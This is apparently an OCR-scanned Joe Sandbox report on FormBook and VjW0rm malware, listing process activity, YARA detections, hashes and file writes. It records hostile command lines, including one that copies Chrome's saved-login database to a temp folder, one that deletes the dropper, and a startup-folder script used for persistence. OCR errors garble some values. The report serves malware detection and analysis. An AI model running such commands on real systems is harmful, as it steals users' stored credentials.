e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000001.00000003.280726639.000001B744A4A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

high

Access Attributes Options Completion

read data or list ~ device success or wait 1
directory | read
attributes |
delete | write dac
| synchronize |
generic read |

generic write

sequential only |
non directory file

Offset Length Value Ascii Completion

12860 7479 70 65 6f 66 20 28
214172726179 2e 70
72 6f 74 6f 74 79 70 65

2e 66 6f 72 45 61 63 68
203f204172726179

2e 70 72 6f 74 6f 74 79

typeof success or wait 1 7FFC6715700A
('Array.prototype.forEach

? Array.prototype.forEach

= function (callback,

thisArg) { thisArg =

thisArg; for (vari=0; i

Count Source Address

7TFFC6715700A

Count Source Address

70 65 2e 66 6f 72 45 61
63 68 20 3d 20 66 75 6e
63 74 69 6f 6e 20 28 63
61 6¢ 6C 62 61 63 6b 2C
20746869 73417267
29 20 7b 0a 20 20 20 20
74 68 69 73417267 20
3d 20 74 68 69 7341 72
67 3b 0a 20 20 20 20 66
6f 7220 28 76 61 72 20
69 20 3d 20 30 3b 20 69
20 3c 20 74 68 69 73 2e
6c 65 6e 67 74 68 3b 20
69 2b 2b 29 20 7b Oa 20
2020 20 20 20 20 20 63
61 6¢ 6¢ 62 61 63 6b 2e
63 61 6¢ 6¢ 28 74 68 69
73417267 2c 20 74 68
69 73 5b 69 5d 2¢ 20 69
2c 20 74 68 69 73 29 3b
0a 20 20 20 20 7d Oa 7d
20 3a20302c 2021 41
72726179 2e 70 72 6f
74 6f 74 79 70 65 2e 6d
617020 3f 20417272
6179 2e 70 72 6f 74

File Path Offset

Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Key Path Data

Name Type

Analysis Process: bin.exe PID: 6488, Parent PID: 6352

General
Target ID: 2
Start time: 17:25:30

Copyright Joe Security LLC 2022

< this.length; i++) {
callback.call(thisArg,
thisfi], i, this); }}:0,
!Array.prototype.map ?
Array.prot

Length Completion

Completion

Count Source Address

Count Source Address

Symbol

CopyFilew

Symbol

CopyFileW

Symbol

Symbol
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Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

27/05/2022
C:\Users\user\AppData\Local\Temp\bin.exe
true
"C:\Users\user\AppData\Local\Temp\bin.exe"
0xb0000

175616 bytes
FF568D4337CE1566C4140FA2FEDF8DB8
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.441172214.0000000001750000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000002.00000002.441172214.0000000001750000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000002.00000002.441172214.0000000001750000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000000.283050957.00000000000B1000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000002.00000000.283050957.00000000000B1000.00000020.00000001.01000000.00000005.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000002.00000000.283050957.00000000000B1000.00000020.00000001.01000000.00000005.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.440060149.00000000000B1000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000002.00000002.440060149.0000000000081000.00000020.00000001.01000000.00000005.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000002.00000002.440060149.00000000000B1000.00000020.00000001.01000000.00000005.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.441024809.0000000001720000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
* Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000002.00000002.441024809.0000000001720000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000002.00000002.441024809.0000000001720000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Felix

Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: JPCERT/CC Incident Response

Group

Antivirus matches: e Detection: 100%, Avira

e Detection: 100%, Joe Sandbox ML

e Detection: 49%, Metadefender, Browse

e Detection: 100%, ReversingLabs
Reputation: low
File Activities
File Read
File Path Offset
C:\Windows\SysWOWe64\ntdll.dll 0

Analysis Process: explorer.exe PID: 3968, Parent PID: 6488

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

4
17:25:34

27/05/2022

C:\Windows\explorer.exe

false

C:\Windows\Explorer.EXE

0x7ff6b8cf0000

3933184 bhytes
AD5296B280E8F522A8A897C96BABOELD
false

false

C, C++ or other language

Copyright Joe Security LLC 2022

Length

1622408

Completion

success or wait

Count Source Address

1 CA417

Symbol

NtReadFile
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

Yara matches:

Reputation: high

File Activities

File Created
File Path

C:\Users\user\AppData\Local\Temp\Cex8di

C:\Users\user\AppData\Local\Te
mp\Cex8di\5hol_r7nkdhp.exe

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe

File Written
File Path

C:\Users\user\AppData\Local\Te
mp\Cex8di\5hol_r7nkdhp.exe

File Path

Copyright Joe Security LLC 2022

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000000.368626097.000000000DAD5000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000004.00000000.368626097.000000000DAD5000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000000.368626097.000000000DAD5000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000000.397676948.000000000DAD5000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000004.00000000.397676948.000000000DAD5000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000000.397676948.000000000DAD5000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Access Attributes Options Completion Count Source Address Symbol

1 72COA72 CreateDirect

oryWw

read data or list success or wait
directory |

synchronize

device |
compressed

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list success or wait 1 T2C7F9F NtCreateFile
directory | write
data or add file |
append data or
add subdirectory
or create pipe
instance | read
ea | write ea |
read attributes |
write attributes |
read control |

synchronize

device |
compressed

synchronous io
non alert | non
directory file

Completion Count Source Address Symbol

success or wait 1 72CT7EC8 NtDeleteFile

Offset Length Value Ascii Completion Count Source Address Symbol

0 175616 4d 5a 45 52 fd 00 00 00 1 NtWriteFile
00 58 fd fd 09 fd 03 fd 3¢
fd 00 03 fd fd fd 28 03 08
fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
fd 00 00 00 Oe 1f fd Oe 00
fd 09 fd 21 fd 01 4c fd 21
54 68 69 73 20 70 72 6f
67 72 61 6d 20 63 61 6e
6e 6f 74 20 62 65 20 72
75 6e 20 69 6e 20 44 4f
53 20 6d 6f 64 65 2e 0d
0d 0a 24 00 00 00 00 00
0000 1d 76 fd 26 59 17
fd 7559 17 fd 75 59 17 fd
7542fd6d 7517 17 fd
7542 fd 58 75 5a 17 fd
7542 fd 5b 75 58 17 fd
7552 69 63 68 59 17 fd
7500 00 00 00 00 00 00
00 50 45 00 00 4c 01 01
00 24 fd 18 3f 00 00 00
00 00 00 00 00 fd 00 02
01 0b 01 0a 00 00 fd 02
00 00 00 00 00 00 00 00
00 fd fd 01 00 00 10 00
00 00 fd 02 00 00 00 40
00 00 10 00 00 00 02 00
00 05 00 01 00 00 00 00

MZERX<(IL!This program success or wait 72C8284
cannot be run in DOS

mode.$v&YuYuYuBm

uuBXuZuB[uXuRichYuP

EL$?@

Offset Length Completion Count Source Address Symbol
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Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Key Path

Name Type

Name Type Data Completion

Old Data New Data Completion

Analysis Process: wscript.exe PID: 6720, Parent PID: 3968

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation: high

File Activities

File Path Access Attributes Options Completion
File Written

File Path Offset Length Value Ascii Completion
C:\Users\user\AppData\Roaming\ 0 12860 74 79 70 65 6f 66 20 28  typeof success or wait

Microsoft\Windows\Start Menu\P
rograms\Startup\dJmtwmJXhXe.js
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6

17:25:41

27/05/2022

C:\Windows\System32\wscript.exe

false

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\JmtwmJXhXe.js"
0x7ff7613a0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

false

false

C, C++ or other language

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:

Count Source Address Symbol
Source
Count Address Symbol

00000006.00000003.309422158.000001A547DDD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000006.00000002.787235102.000001A5460F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
o Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source:
00000006.00000002.787256308.000001A5460FA000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000006.00000002.787256308.000001A5460FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000006.00000002.788030615.000001A547DDB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

214172726179 2e 70
72 6f 74 6f 74 79 70 65

('Array.prototype.forEach
? Array.prototype.forEach

Count Source Address Symbol
Count Source Address Symbol
1 7FFC6715700A CopyFilew

2e 66 6f 72 45 61 63 68
2032041727261 79
2e 7072 6f 74 6f 74 79
70 65 2e 66 6f 72 45 61
63 68 20 3d 20 66 75 6e
63 74 69 6f 6e 20 28 63
61 6¢ 6C 62 61 63 6b 2C
207468 69 7341 72 67
29 20 7b 0a 20 20 20 20
7468 69 734172 67 20
3d 20 74 68 69 7341 72
67 3b 0a 20 20 20 20 66
6f 7220 28 76 61 72 20
69 20 3d 20 30 3b 20 69
20 3c 20 74 68 69 73 2e
6¢ 65 6e 67 74 68 3b 20
69 2b 2b 29 20 7b Oa 20
20 20 20 20 20 20 20 63
61 6¢ 6¢ 62 61 63 6b 2e
63 61 6¢ 6¢ 28 74 68 69
73417267 2c 20 74 68
69 73 5b 69 5d 2c 20 69
2c 20 74 68 69 73 29 3b
0a 20 20 20 20 7d Oa 7d
20 3a 20 30 2¢ 20 21 41
72726179 2e 70 72 6f
74 6f 7479 70 65 2e 6d
617020 3f 20417272
6179 2e 70 72 6f 74

= function (callback,
thisArg) { thisArg =
thisArg; for (vari=0;i
< this.length; i++) {
callback.call(thisArg,
this[i], i, this); }}: 0,
!Array.prototype.map ?
Array.prot
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File Path

Offset Length Completion Count Source Address Symbol

Analysis Process: wscript.exe PID: 7112, Parent PID: 3968

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

12

17:25:50

27/05/2022

C:\Windows\System32\wscript.exe

false

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\JmtwmJXhXe.js"
0x7ff7613a0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

false

false

C, C++ or other language

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000C.00000002.799354104.0000010D37867000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000C.00000002.799045100.0000010D35F00000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

high

Analysis Process: wscript.exe PID: 5232, Parent PID: 3968

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

15

17:26:01

27/05/2022

C:\Windows\System32\wscript.exe

false

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JmtwmJXhXe.js"
0x7ff7613a0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

false

false

C, C++ or other language

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000F.00000003.352632654.0000023E30CBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000F.00000002.788512933.0000023E2EF2C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0Orm, Source:
0000000F.00000002.790309780.0000023E30CBB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

* Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source:
0000000F.00000002.788499693.0000023E2EF22000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0Orm, Source:
0000000F.00000002.788499693.0000023E2EF22000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol
Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
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Source

Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: cmmon32.exe PID: 3396, Parent PID: 3968

General

Target ID: 18

Start time: 17:26:40

Start date: 27/05/2022

Path: C:\Windows\SysWOW64\cmmon32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\cmmon32.exe

Imagebase: 0x7ff73c930000

File size: 36864 bytes

MD5 hash: 2879B30A164B9F7671B5E6B2E9F8DFDA

Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000012.00000002.817738228.0000000005407000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000002.817738228.0000000005407000.00000004.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000002.817738228.0000000005407000.00000004.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000002.787729752.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000002.787729752.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000002.787729752.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000002.806764391.0000000004A20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000002.806764391.0000000004A20000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000002.806764391.0000000004A20000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000002.806738334.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000002.806738334.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000002.806738334.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000002.806579092.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000012.00000002.806579092.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000002.806579092.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Reputation: moderate

File Activities

File Path Access Attributes Options Completion Count Source Address Symbol
File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 32FA417 NtReadFile
Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol
Key Path Name Type Data Completion Count Source Address Symbol
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Analysis Process: cmd.exe PID: 3464, Parent PID: 3396

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

19

17:26:45

27/05/2022

C:\Windows\SysWOW64\cmd.exe

true

/c del "C:\Users\user\AppData\Local\Temp\bin.exe"
0xc20000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D

false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 3128, Parent PID: 3464

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

20

17:26:46

27/05/2022
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

0x7ff7c9170000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 5356, Parent PID: 3396

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

29

17:27:51

27/05/2022
C:\Windows\SyswOWwe64\cmd.exe

true

/c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V

0xc20000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 4744, Parent PID: 5356

General
Target ID:
Start time:
Start date:

Path:

30
17:27:56
27/05/2022

C:\Windows\System32\conhost.exe
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Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7c9170000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language

Analysis Process: Shol_r7nkdhp.exe PID: 5024, Parent PID: 3968

General

Target ID: 40

Start time: 17:29:22

Start date: 27/05/2022

Path: C:\Program Files (x86)\Cex8di\5hol_r7nkdhp.exe

Wow64 process (32bit): true

Commandline: C:\Program Files (x86)\Cex8di\5hol_r7nkdhp.exe

Imagebase: 0xc50000

File size: 175616 bytes

MD5 hash: FF568D4337CE1566C4140FA2FEDF8DB8

Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000028.00000000.781550005.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000028.00000000.781550005.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000028.00000000.781550005.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000028.00000000.780941454.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000028.00000000.780941454.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000028.00000000.780941454.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000028.00000000.780550493.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000028.00000000.780550493.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000028.00000000.780550493.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000028.00000000.781223568.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000028.00000000.781223568.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: Felix Bilstein - yara-signator at cocacoding
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000028.00000000.781223568.0000000000C51000.00000020.00000001.01000000.0000000E.sdmp, Author: JPCERT/CC Incident Response Group

Disassembly

@ No disassembly
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